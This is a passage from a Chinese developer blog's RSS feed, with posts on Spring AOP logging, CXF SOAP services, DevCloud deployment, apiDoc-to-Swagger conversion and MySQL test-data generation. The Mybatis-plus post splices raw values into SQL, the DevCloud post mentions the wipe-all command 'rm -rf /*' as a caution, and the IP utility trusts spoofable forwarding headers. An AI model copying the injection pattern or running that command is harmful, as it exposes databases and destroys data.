import org.aspectj.lang.annotation.AfterReturning;
import org.aspectj.lang.annotation.Aspect;
import org.aspectj.lang.annotation.Pointcut;
import org.aspectj.lang.reflect.MethodSignature;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

import javax.servlet.http.HttpServletRequest;
import java.lang.reflect.Method;
import java.util.Date;

/**
 * 系统日志：切面处理类
 */
@Aspect
@Component
public class SysLogAspect {

    @Autowired
    private SysLogService sysLogService;

    //定义切点 @Pointcut
    //在注解的位置切入代码
    @Pointcut(&amp;quot;@annotation( com.example.aspect.MyLog)&amp;quot;)
    public void logPoinCut() {
    }

    //切面 配置通知
    @AfterReturning(&amp;quot;logPoinCut()&amp;quot;)
    public void saveSysLog(JoinPoint joinPoint) {
        System.out.println(&amp;quot;切面。。。。。&amp;quot;);
        //保存日志
        SysLog sysLog = new SysLog();

        //从切面织入点处通过反射机制获取织入点处的方法
        MethodSignature signature = (MethodSignature) joinPoint.getSignature();
        //获取切入点所在的方法
        Method method = signature.getMethod();

        //获取操作
        MyLog myLog = method.getAnnotation(MyLog.class);
        if (myLog != null) {
            String value = myLog.value();
            sysLog.setOperation(value);//保存获取的操作
        }

        //获取请求的类名
        String className = joinPoint.getTarget().getClass().getName();
        //获取请求的方法名
        String methodName = method.getName();
        sysLog.setMethod(className + &amp;quot;.&amp;quot; + methodName);

        //请求的参数
        Object[] args = joinPoint.getArgs();
        //将参数所在的数组转换成json
        String params = JSON.toJSONString(args);
        sysLog.setParams(params);

        sysLog.setCreateDate(new Date());
        //获取用户名
        sysLog.setUsername(ShiroUtils.getUserEntity().getUsername());
        //获取用户ip地址
        HttpServletRequest request = HttpContextUtils.getHttpServletRequest();
        sysLog.setIp(IPUtils.getIpAddr(request));

        //调用service保存SysLog实体类到数据库
        sysLogService.save(sysLog);
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;最后直接在例如Controller中使用即可&lt;/h3&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.example.aspect.MyLog;
import org.springframework.stereotype.Controller;
import org.springframework.web.bind.annotation.PostMapping;
import org.springframework.web.bind.annotation.RequestBody;
import org.springframework.web.bind.annotation.RequestMapping;

@Controller
@RequestMapping(&amp;quot;/sys&amp;quot;)
public class SysMenuController {

    @MyLog(value = &amp;quot;测试&amp;quot;)
    @PostMapping(&amp;quot;/test&amp;quot;)
    public String test(@RequestBody String test) {
        System.out.println(test);
        return &amp;quot;index&amp;quot;;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;下面是几个Utils&lt;/h3&gt;
&lt;h4&gt;HttpContextUtils:&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;

public class HttpContextUtils {
    public static HttpServletRequest getHttpServletRequest() {
        return ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;IPUtils:&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import javax.servlet.http.HttpServletRequest;

public class IPUtils {
    public static String getIpAddr(HttpServletRequest request) {
        String ip = request.getHeader(&amp;quot;x-real-ip&amp;quot;);
        if (ip == null || ip.length() == 0 || &amp;quot;unknown&amp;quot;.equalsIgnoreCase(ip)) {
            ip = request.getHeader(&amp;quot;x-forwarded-for&amp;quot;);
            if (ip != null) {
                ip = ip.split(&amp;quot;,&amp;quot;)[0].trim();
            }
        }
        if (ip == null || ip.length() == 0 || &amp;quot;unknown&amp;quot;.equalsIgnoreCase(ip)) {
            ip = request.getHeader(&amp;quot;Proxy-Client-IP&amp;quot;);
        }
        if (ip == null || ip.length() == 0 || &amp;quot;unknown&amp;quot;.equalsIgnoreCase(ip)) {
            ip = request.getHeader(&amp;quot;WL-Proxy-Client-IP&amp;quot;);
        }
        if (ip == null || ip.length() == 0 || &amp;quot;unknown&amp;quot;.equalsIgnoreCase(ip)) {
            ip = request.getRemoteAddr();
        }
        return ip;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;ShiroUtils:&lt;/h4&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.example.entity.User;
import org.springframework.web.context.request.RequestContextHolder;
import org.springframework.web.context.request.ServletRequestAttributes;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpSession;

public class ShiroUtils {

    public static HttpSession getSession(){
        HttpServletRequest request = ((ServletRequestAttributes) RequestContextHolder.getRequestAttributes()).getRequest();
        HttpSession httpSession = request.getSession();
        return httpSession;
    }

    public static User getUserEntity(){
        return (User)getSession().getAttribute(&amp;quot;user&amp;quot;);
    }

}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Wed, 23 Sep 2020 04:13:56 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/87.html</comments>
    </item>
    <item>
      <title>SpringBoot整合CFX框架</title>
      <link>https://www.baby7blog.com/myBlog/86.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FhDb4tAB68LoL9BP9y5Lc71TarJY" width="800"&gt;&lt;br&gt;
&lt;h1&gt;SpringBoot整合CFX框架&lt;/h1&gt;

&lt;h2&gt;CXF框架&lt;/h2&gt;
&lt;p&gt;Apache CXF是一个开源的WebService框架，CXF可以用来构建和开发WebService，些服务可以支持多种协议，比如：SOAP、POST/HTTP、HTTP，这篇文章讲的是SOAP这个协议使用CXF框架整合进入SpringBoot&lt;/p&gt;
&lt;h2&gt;Maven引入&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-Maven"&gt;&amp;lt;dependency&amp;gt;
    &amp;lt;groupId&amp;gt;org.apache.cxf&amp;lt;/groupId&amp;gt;
    &amp;lt;artifactId&amp;gt;cxf-spring-boot-starter-jaxws&amp;lt;/artifactId&amp;gt;
    &amp;lt;version&amp;gt;3.2.7&amp;lt;/version&amp;gt;
&amp;lt;/dependency&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;config类配置&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.hospital.test.cxf.ws.TestServices;
import org.apache.cxf.Bus;
import org.apache.cxf.bus.spring.SpringBus;
import org.apache.cxf.jaxws.EndpointImpl;
import org.apache.cxf.transport.servlet.CXFServlet;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.boot.web.servlet.ServletRegistrationBean;
import org.springframework.context.annotation.Bean;
import org.springframework.context.annotation.Configuration;

import javax.xml.ws.Endpoint;

@Configuration
public class CxfConfig {
    @Autowired
    private TestServices testServices;

    @SuppressWarnings(&amp;quot;all&amp;quot;)
    @Bean
    public ServletRegistrationBean wsServlet() {
        ServletRegistrationBean bean = new ServletRegistrationBean(new CXFServlet(), &amp;quot;/soap/*&amp;quot;);
        return bean;
    }

    @Bean(name = Bus.DEFAULT_BUS_ID)
    public SpringBus springBus() {
        return new SpringBus();
    }

    @Bean
    public Endpoint testServices() {
        EndpointImpl endpoint = new EndpointImpl(springBus(), testServices);
        endpoint.publish(&amp;quot;/testServices&amp;quot;);
        return endpoint;
    }
}
&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;实现&lt;/h2&gt;
&lt;p&gt;TestServices：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import javax.jws.WebMethod;
import javax.jws.WebParam;
import javax.jws.WebResult;
import javax.jws.WebService;

@WebService(name = &amp;quot;TestServices&amp;quot;, targetNamespace = &amp;quot;http://ws.cxf.test.baby7blog.com/&amp;quot;)
public interface TestServices {
    /** 通用接口，用于平台服务的补充
     * @param in 一个请求
     * @return 根据请求内容返回相关内容
     */
    @WebMethod(operationName=&amp;quot;exec&amp;quot;)
    @WebResult(name = &amp;quot;ret&amp;quot;, targetNamespace = &amp;quot;http://ws.cxf.test.baby7blog.com/&amp;quot;)
    String exec(@WebParam(name = &amp;quot;in&amp;quot;) String in);
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;TestServicesImpl：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;import com.hospital.budget.business.handler.BusinessHandler;
import com.hospital.budget.cxf.ws.BudgetServices;
import javax.jws.WebService;
import javax.xml.ws.BindingType;
import javax.xml.ws.soap.SOAPBinding;
import lombok.extern.log4j.Log4j2;
import org.springframework.beans.factory.annotation.Autowired;
import org.springframework.stereotype.Component;

@WebService(serviceName = &amp;quot;BudgetServices&amp;quot;,
            portName = &amp;quot;BudgetServices&amp;quot;,
            targetNamespace = &amp;quot;http://ws.cxf.test.baby7blog.com/&amp;quot;,
            endpointInterface = &amp;quot;com.hospital.budget.cxf.ws.BudgetServices&amp;quot;)
@BindingType(value = SOAPBinding.SOAP12HTTP_BINDING)
@Component
@Log4j2
public class BudgetServicesImpl implements BudgetServices {

    @Autowired
    BusinessHandler handler;

    @Override
    public String exec(String in) {
        String ret;
        try {
            ret = handler.exec(in);
        } catch (Exception e) {
            log.error(e.getMessage());
            ret = &amp;quot;&amp;lt;Response&amp;gt;&amp;lt;code&amp;gt;-1&amp;lt;/code&amp;gt;&amp;lt;msg&amp;gt;to be illegal to do sth;&amp;lt;/msg&amp;gt;&amp;lt;/Response&amp;gt;&amp;quot;;
        }
        return ret;
    }
}
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 22 Sep 2020 13:51:07 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/86.html</comments>
    </item>
    <item>
      <title>Mybatis-plus子查询的一个思路</title>
      <link>https://www.baby7blog.com/myBlog/85.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FrsCM7eBM3iGEtMY-rgr4Hjwqumr" width="800"&gt;&lt;br&gt;
&lt;h1&gt;Mybatis-plus子查询的一个思路&lt;/h1&gt;

&lt;h2&gt;思路&lt;/h2&gt;
&lt;p&gt;思路就是QueryWrapper中的getCustomSqlSegment()这个函数，其实在Mybatis的xml文件中${ew.customSqlSegment}的customSqlSegment也是用的这个函数，使用这个函数可以做一个小的QueryWrapper然后getCustomSqlSegment()转为字符串，最后替换其中的#{}（忘了是什么了，后面补上），然后在大的QueryWrapper里用inSql函数添加这个转换后的字符串&lt;/p&gt;
&lt;h2&gt;伪代码（后面补上完整的）&lt;/h2&gt;
&lt;pre&gt;&lt;code class="language-java"&gt;QueryWrapper&amp;lt;Test&amp;gt; queryWrapper = new QueryWrapper&amp;lt;&amp;gt;();
QueryWrapper&amp;lt;Test&amp;gt; childQueryWrapper = new QueryWrapper&amp;lt;&amp;gt;();
childQueryWrapper.eq(&amp;quot;CESHI&amp;quot;, value);
String childString = childQueryWrapper.getCustomSqlSegment();
childString = childString.replace(&amp;quot;#{}&amp;quot;, value);
queryWrapper.inSql(&amp;quot;NEW&amp;quot;, childString);
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Tue, 22 Sep 2020 05:52:35 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/85.html</comments>
    </item>
    <item>
      <title>使用华为云DevCloud进行项目自动化构建部署</title>
      <link>https://www.baby7blog.com/myBlog/83.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FmWmDtdJ4AznX4NRAM2boLIRSumq" width="800"&gt;&lt;br&gt;
&lt;h1&gt;使用华为云DevCloud进行项目自动化构建部署&lt;/h1&gt;

&lt;h2&gt;介绍&lt;/h2&gt;
&lt;p&gt;华为云DevCloud提供了许许多多的功能，我们取其中的代码仓库、编译构建、部署、发布、流水线的功能
其中代码仓库可以使用外部仓库，然后在代码仓库上传对应的源代码，新建对应的构建任务，构建后生成的文件存储在发布视图中，然后添加服务器信息并新建部署任务，最后组合1.代码仓库 2.编译构建 3.发布 4.部署 为一条完整的流水线，并可以设置由代码仓库的提交更新或定时为条件进行触发
对了，本篇文章针对会进行手动部署的&lt;/p&gt;
&lt;h2&gt;SpringBoot流水线&lt;/h2&gt;
&lt;h3&gt;前提&lt;/h3&gt;
&lt;p&gt;服务器安装好了对应的Jdk、Mysql&lt;/p&gt;
&lt;h3&gt;构建&lt;/h3&gt;
&lt;p&gt;第一步选【Maven构建】，选择工具对应的Maven版本，命令内容是：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-maven"&gt;mvn package -Dmaven.test.skip=true -U -e -X -B
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二步选【上传软件包到软件发布库】，构建包路径填：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-path"&gt;**/target/这里是生成包的名字.jar
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;部署&lt;/h3&gt;
&lt;p&gt;第一步选【华为云从构建任务获得文件】，源类型是构建任务，主机组没有的新建一个，构建任务选择上一步的构建任务，构建序号为Latest，下载到主机的部署目录是你自己要填的服务器路径。
第二步选【启动/停止SpringBoot服务】，服务类型是停止，服务绝对路径是，上一步选的路径再加上发布文件中的名字：***.jar
第三步选【启动/停止SpringBoot服务】，服务类型是启动，路径与上一步一样&lt;/p&gt;
&lt;h2&gt;SpringCloud流水线&lt;/h2&gt;
&lt;h3&gt;构建&lt;/h3&gt;
&lt;p&gt;第一步与SpringBoot相同，SpringBoot是打成一个jar包，SpringCloud有好几个执行的jar包，所以构建的第二到N步是选择对应的jar包上传到软件发布库&lt;/p&gt;
&lt;h3&gt;部署&lt;/h3&gt;
&lt;p&gt;第一步与SprintBoot相同，多出来的就是停止/启动多个服务了&lt;/p&gt;
&lt;h2&gt;Vue流水线&lt;/h2&gt;
&lt;h3&gt;前提&lt;/h3&gt;
&lt;p&gt;服务器安装好了Nginx并配置好&lt;/p&gt;
&lt;h3&gt;构建&lt;/h3&gt;
&lt;p&gt;第一步选【npm构建】，选择对应的工具版本，命令内容是(可根据需要修改)：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-npm"&gt;export PATH=$PATH:/root/.npm-global/bin
#设置Devcloud镜像仓加速构建
npm config set registry https://mirrors.huaweicloud.com/repository/npm/
npm config set prefix '~/.npm-global'
#如需安装node-sass
#npm config set sass_binary_site https://repo.huaweicloud.com/node-sass/
#npm install node-sass
#加载依赖
npm install
#默认构建
npm run build
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第二步选【执行shell命令】，选择一个版本（似乎只有一个版本），命令内容是（其实就是打个压缩包）：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;tar -cvf dist.zip dist
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;第三步选【上传软件包到软件发布库】，构建包路径是：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-path"&gt;./dist.zip
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;部署&lt;/h3&gt;
&lt;p&gt;第一步选【删除文件】，删除路径应该是你Nginx中前端项目的路径，加/**表示删除该目录下所有文件，千万不要前面什么都没有就写了个/**上去，我不知道会不会跟rm -rf /*一样把所有文件都干掉了
第二步选【选择部署来源】，依然是构建任务最后一个版本，部署目录是Nginx前端项目路径
第三步选【执行shell命令】，例如命令内容为（解压）：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-shell"&gt;cd /usr/share/nginx/前端项目名
tar -xvf /usr/share/nginx/前端项目名/dist.zip
mv dist/* /usr/share/nginx/前端项目名/
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>服务器相关</category>
      <pubDate>Mon, 21 Sep 2020 05:51:33 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/83.html</comments>
    </item>
    <item>
      <title>python处理apiDoc转swagger</title>
      <link>https://www.baby7blog.com/myBlog/82.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FjsEh1-AjpBCTxaVVS_SgWHKkX7R" width="800"&gt;&lt;br&gt;
&lt;h1&gt;python处理apiDoc转swagger&lt;/h1&gt;

&lt;h3&gt;需要转换的接口&lt;/h3&gt;
&lt;p&gt;现在我需要转换的接口全是nodejs写的数据，而且均为post传输的json格式接口&lt;/p&gt;
&lt;h3&gt;apiDoc格式&lt;/h3&gt;
&lt;p&gt;apiDoc代码中的格式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-apiDoc"&gt;/**
 * @api {方法} 路径 标题
 * @apiGroup Group
 * @apiDescription 描述这个API的信息
 *
 * @apiParam {String} userName 用户名
 * @apiParamExample {json} request-example
 * {
 *  &amp;quot;userName&amp;quot;: &amp;quot;Eve&amp;quot;
 * }
 *
 * @apiError {String} message 错误信息
 * @apiErrorExample  {json} error-example
 * {
 *   &amp;quot;message&amp;quot;: &amp;quot;用户名不存在&amp;quot;
 * }
 * 
 * 
 * @apiSuccess {String} userName 用户名
 * @apiSuccess {String} createTime 创建时间
 * @apiSuccess {String} updateTime 更新时间
 * @apiSuccessExample  {json} success-example
 * {
 *   &amp;quot;userName&amp;quot;: &amp;quot;Eve&amp;quot;,
 *   &amp;quot;createTime&amp;quot;: &amp;quot;1568901681&amp;quot;
 *   &amp;quot;updateTime&amp;quot;: &amp;quot;1568901681&amp;quot;
 * }
 */function getUserInfo(username) {
  // 假如这个函数是根据用户名返回用户信息的
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;使用npm安装apidoc插件：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-cmd"&gt;npm install apidoc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;再新建对应的apidoc.json，格式如下：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-apiDoc"&gt;{
  &amp;quot;name&amp;quot;: &amp;quot;文档名&amp;quot;,
  &amp;quot;version&amp;quot;: &amp;quot;版本号&amp;quot;,
  &amp;quot;description&amp;quot;: &amp;quot;解释&amp;quot;,
  &amp;quot;title&amp;quot;: &amp;quot;标题&amp;quot;,
  &amp;quot;url&amp;quot; : &amp;quot;地址&amp;quot;
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;然后在apidoc.json路径下执行命令可以生成接口文档（src是接口代码文件夹，apidoc是生成文档的文件夹）：&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-cmd"&gt;apidoc -i src/ -o apidoc/
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;生成后可以在apidoc文件夹中打开index.html查看生成的接口文档，生成文档时会生成一个api_data.json，下面会用到&lt;/p&gt;
&lt;h3&gt;swagger格式&lt;/h3&gt;
&lt;p&gt;这里我们暂时只需要关注参数为json的接口格式&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-swagger"&gt;{
    &amp;quot;swagger&amp;quot;: &amp;quot;2.0&amp;quot;,
    &amp;quot;info&amp;quot;: {
        &amp;quot;description&amp;quot;: &amp;quot;1.0版本接口文档&amp;quot;,
        &amp;quot;version&amp;quot;: &amp;quot;1.0.5&amp;quot;,
        &amp;quot;title&amp;quot;: &amp;quot;智能医疗辅助平台&amp;quot;,
        &amp;quot;termsOfService&amp;quot;: &amp;quot;http://swagger.io/terms/&amp;quot;
    },
    &amp;quot;host&amp;quot;: &amp;quot;http://localhost:8080&amp;quot;,
    &amp;quot;basePath&amp;quot;: &amp;quot;/&amp;quot;,
    &amp;quot;tags&amp;quot;: [],
    &amp;quot;paths&amp;quot;: {},
    &amp;quot;definitions&amp;quot;: {}
}
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;其中path是存放接口的，tags是存放的分组名列表，definitions是实体列表（json参数）&lt;/p&gt;
&lt;h3&gt;思路&lt;/h3&gt;
&lt;p&gt;使用apidoc包生成apidoc的json格式数据，然后使用python读取出接口地址、名字、组名、输入参数格式和例子、输出参数格式和例子等，然后根据swagger格式填入对应的数据即可生成swagger的json格式
我的话是会直接使用处理出的swagger的json格式的数据导入yApi中&lt;/p&gt;
&lt;h3&gt;代码&lt;/h3&gt;
&lt;p&gt;代码虽然在下面，但是是我临时着急用写的，有的地方是写死的，需要改，这里放出来主要是讲个大致的思路&lt;/p&gt;
&lt;pre&gt;&lt;code class="language-python"&gt;import re
import json
import demjson
import decimal


# 保存时会出现byte格式问题，使用这个处理
class DecimalEncoder(json.JSONEncoder):
    def default(self, o):
        if isinstance(o, decimal.Decimal):
            return float(o)
        super(DecimalEncoder, self).default(o)


# 分析例子转json，在这里可以自己添加规则
def analyze_demjson(json_data):
    item = json_data.replace(&amp;quot;\\n&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot;\\&amp;quot;, &amp;quot;&amp;quot;).replace(&amp;quot; &amp;quot;, &amp;quot;&amp;quot;)
    result_item = {}
    try:
        result_item = demjson.decode(item, encoding='UTF-8')
    except:
        print(item)
    return result_item


# 获取解析apidoc数据
def get_api_doc_data(name):
    data_list = None
    group_list = {}
    with open(name, mode='r', encoding=&amp;quot;UTF-8&amp;quot;) as f:
        data_list = json.load(f)
    for data in data_list:
        if data['group'] in group_list:
            group_list[data['group']].append(data)
        else:
            group_list[data['group']] = [data]
    return group_list


# 转为swagger写入
def set_swagger_data(data):
    swagger_json = {
        &amp;quot;swagger&amp;quot;: &amp;quot;2.0&amp;quot;,
        &amp;quot;info&amp;quot;: {
            &amp;quot;description&amp;quot;: &amp;quot;1.0版本接口文档&amp;quot;,
            &amp;quot;version&amp;quot;: &amp;quot;1.0.5&amp;quot;,
            &amp;quot;title&amp;quot;: &amp;quot;智能医疗辅助平台&amp;quot;,
            &amp;quot;termsOfService&amp;quot;: &amp;quot;http://swagger.io/terms/&amp;quot;
        },
        &amp;quot;host&amp;quot;: &amp;quot;http://localhost:8080&amp;quot;,
        &amp;quot;basePath&amp;quot;: &amp;quot;/&amp;quot;,
        &amp;quot;tags&amp;quot;: [],
        &amp;quot;paths&amp;quot;: {},
        &amp;quot;definitions&amp;quot;: {}
    }
    # 添加分组
    for group_key in data:
        swagger_json['tags'].append({
            &amp;quot;name&amp;quot;: group_key,
            &amp;quot;description&amp;quot;: group_key
        })
    # 添加接口信息
    # 循环分组
    for group_key in data:
        # 循环每组列表
        for interface in data[group_key]:
            parameters = {}
            if 'parameter' in interface and 'fields' in interface['parameter']:
                # 获取参数demo信息
                content = &amp;quot;&amp;quot;
                if 'examples' in interface['parameter']:
                    content = analyze_demjson(interface['parameter']['examples'][0]['content'])
                # 添加参数信息
                parameter_dict = {}
                for parameter in interface['parameter']['fields']['Parameter']:
                    parameter_type = &amp;quot;None&amp;quot;
                    if &amp;quot;type&amp;quot; in parameter:
                        parameter_type = parameter['type'].lower()
                        if parameter_type == 'number':
                            parameter_type = &amp;quot;integer&amp;quot;
                    parameter_item = {
                        &amp;quot;description&amp;quot;: parameter['description'].replace('&amp;lt;p&amp;gt;', '').replace('&amp;lt;/p&amp;gt;', ''),
                        &amp;quot;required&amp;quot;: parameter['optional'],
                        &amp;quot;type&amp;quot;: parameter_type,
                        &amp;quot;default&amp;quot;: ''
                    }
                    if parameter['field'] in content:
                        parameter_item['default'] = content[parameter['field']]
                    parameter_dict[parameter['field']] = parameter_item
                parameters = {
                    &amp;quot;in&amp;quot;: &amp;quot;body&amp;quot;,
                    &amp;quot;name&amp;quot;: interface['name'],
                    &amp;quot;description&amp;quot;: interface['name'],
                    &amp;quot;required&amp;quot;: &amp;quot;true&amp;quot;,
                    &amp;quot;schema&amp;quot;: {
                        &amp;quot;originalRef&amp;quot;: interface['name'],
                        &amp;quot;$ref&amp;quot;: &amp;quot;#/definitions/&amp;quot; + interface['name']
                    }
                }
                swagger_json['definitions'][interface['name']] = {
                        &amp;quot;type&amp;quot;: &amp;quot;object&amp;quot;,
                        &amp;quot;properties&amp;quot;: parameter_dict
                    }
            # 添加返回信息
            responses = {
                &amp;quot;200&amp;quot;: {
                    &amp;quot;description&amp;quot;: &amp;quot;successful operation&amp;quot;,
                    &amp;quot;schema&amp;quot;: {
                        &amp;quot;originalRef&amp;quot;: interface['name'] + &amp;quot;_response&amp;quot;,
                        &amp;quot;$ref&amp;quot;: &amp;quot;#/definitions/&amp;quot; + interface['name'] + &amp;quot;_response&amp;quot;
                    }
                }
            }
            schema = {
                &amp;quot;type&amp;quot;: &amp;quot;object&amp;quot;,
                &amp;quot;properties&amp;quot;: {
                    &amp;quot;errcode&amp;quot;: {
                        &amp;quot;type&amp;quot;: &amp;quot;integer&amp;quot;,
                        &amp;quot;default&amp;quot;: 0,
                        &amp;quot;description&amp;quot;: &amp;quot;编码，成功返回1&amp;quot;
                    },
                    &amp;quot;data&amp;quot;: {
                        &amp;quot;type&amp;quot;: &amp;quot;object&amp;quot;,
                        &amp;quot;default&amp;quot;: {},
                        &amp;quot;description&amp;quot;: &amp;quot;监管对象明细,包含表头和数据内容两部分&amp;quot;
                    },
                    &amp;quot;errmsg&amp;quot;: {
                        &amp;quot;type&amp;quot;: &amp;quot;string&amp;quot;,
                        &amp;quot;default&amp;quot;: &amp;quot;ok&amp;quot;,
                        &amp;quot;description&amp;quot;: '编码提示信息，成功时返回 &amp;quot;ok&amp;quot;'
                    }
                }
            }
            # 返回例子
            if &amp;quot;success&amp;quot; in interface:
                response_example = &amp;quot;&amp;quot;
                if len(interface['success']['examples']) == 1:
                    response_example = analyze_demjson(interface['success']['examples'][0]['content'])
                else:
                    response_example = analyze_demjson(interface['success']['examples']['content'])
                if 'data' in response_example and response_example['data'] != {}:
                    schema['properties']['data'] = response_example['data']
            swagger_json['definitions'][interface['name'] + &amp;quot;_response&amp;quot;] = schema
            # 加入
            swagger_json['paths'][interface['url']] = {
                interface['type']: {
                    &amp;quot;tags&amp;quot;: [group_key],
                    &amp;quot;summary&amp;quot;: interface['title'].replace(interface['url'] + '-', ''),
                    &amp;quot;description&amp;quot;: interface['title'],
                    &amp;quot;consumes&amp;quot;: [
                        &amp;quot;application/json&amp;quot;
                    ],
                    &amp;quot;produces&amp;quot;: [
                        &amp;quot;application/json&amp;quot;
                    ],
                    &amp;quot;parameters&amp;quot;: [parameters],
                    &amp;quot;responses&amp;quot;: responses
                }}
    # 写入json文件
    with open('swagger_data.json', 'w', encoding=&amp;quot;UTF-8&amp;quot;) as json_file:
        json.dump(swagger_json, json_file, cls=DecimalEncoder, indent=4, ensure_ascii=False)


if __name__ == '__main__':
    group_data = get_api_doc_data('api_data.json')
    set_swagger_data(group_data)
&lt;/code&gt;&lt;/pre&gt;</description>
      <category>后端技术</category>
      <pubDate>Thu, 10 Sep 2020 09:49:01 GMT</pubDate>
      <author>七仔(Github)</author>
      <comments>https://www.baby7blog.com/myBlog/82.html</comments>
    </item>
    <item>
      <title>使用MySQL存储过程生成大量用户数据</title>
      <link>https://www.baby7blog.com/myBlog/81.html</link>
      <description>&lt;img src="https://media.baby7blog.com/FsGXMqNDGJHr_ZRM75HzJTesqr4H" width="800"&gt;&lt;br&gt;
&lt;h1&gt;使用MySQL存储过程生成大量用户数据&lt;/h1&gt;

&lt;pre&gt;&lt;code class="language-mysql"&gt;delimiter //
DROP PROCEDURE IF EXISTS user_proc_batch_insert;
CREATE PROCEDURE user_proc_batch_insert(in max_num int)
BEGIN
DECLARE i int;   -- 声明变量【循环index】
-- 声明变量(主键：雪花ID)
DECLARE user_id varchar(36);
-- 声明变量(推荐人用户ID)
DECLARE parent_user_id varchar(36);
-- 声明变量(昵称)
DECLARE nickname varchar(255);
-- 声明变量(手机号码)
DECLARE mobile varchar(11);
-- 声明变量(性别：1-男、2-女、3-其他)
DECLARE gender tinyint;
-- 声明变量(用户微信号)
DECLARE wechat_id varchar(100);
-- 声明变量(微信OpenID)
DECLARE wechat_openid varchar(50);
-- 声明变量(微信UnionID)
DECLARE wechat_unionid varchar(50);
-- 声明变量(用户头像)
DECLARE avatar varchar(255);
-- 声明变量(注册时间)
DECLARE register_time datetime;
-- 声明变量(注册IP地址)
DECLARE register_ip varchar(20);
-- 声明变量(生日)
DECLARE birthday varchar(20);
-- 声明变量(登录时间)
DECLARE login_time datetime;
-- set autocommit = 0; -- 禁止自动提交sql
SET i=1;
WHILE i &amp;lt; max_num DO
    -- 循环index+1
    SET i=i+1;
    -- 赋值(主键：雪花ID)
    SET user_id = REPLACE(UUID(),'-','');
--  SET parent_user_id = NULL;
--  赋值(推荐人用户ID)[五分之一的几率为空]
    IF round(rand()*(5-1)+1)=2 THEN
        SET parent_user_id = NULL;
    ELSE
        SET parent_user_id = (SELECT t1.id FROM `shop_user` AS t1 JOIN (SELECT concat(conv(ROUND(RAND() * 281474976710655),10,16),'ffffffffffffffffffff') AS id) AS t2 WHERE t1.id &amp;gt;= t2.id ORDER BY t1.id LIMIT 1);
        UPDATE shop_user SET follow_num = follow_num + 1 WHERE id = parent_user_id;
    END IF;
    -- 赋值(昵称)
    SET nickname = concat(
        substring('赵钱孙李周吴郑王冯陈诸卫蒋沈韩杨朱秦尤许何吕施张孔曹严华金魏陶姜戚谢邹喻柏水窦章云苏潘葛奚范彭郎鲁韦昌马苗凤花方俞任袁柳酆鲍史唐费廉岑薛雷贺倪汤滕殷罗毕郝邬安常乐于时傅皮齐康伍余元卜顾孟平黄和穆萧尹姚邵堪汪祁毛禹狄米贝明臧计伏成戴谈宋茅庞熊纪舒屈项祝董粱杜阮蓝闵席季麻强贾路娄危江童颜郭梅盛林刁钟徐邱骆高夏蔡田樊胡凌霍虞万支柯咎管卢莫经房裘干解应宗丁宣贲邓郁单杭洪包诸左石崔吉钮龚',
        floor(1+190*rand()),1),
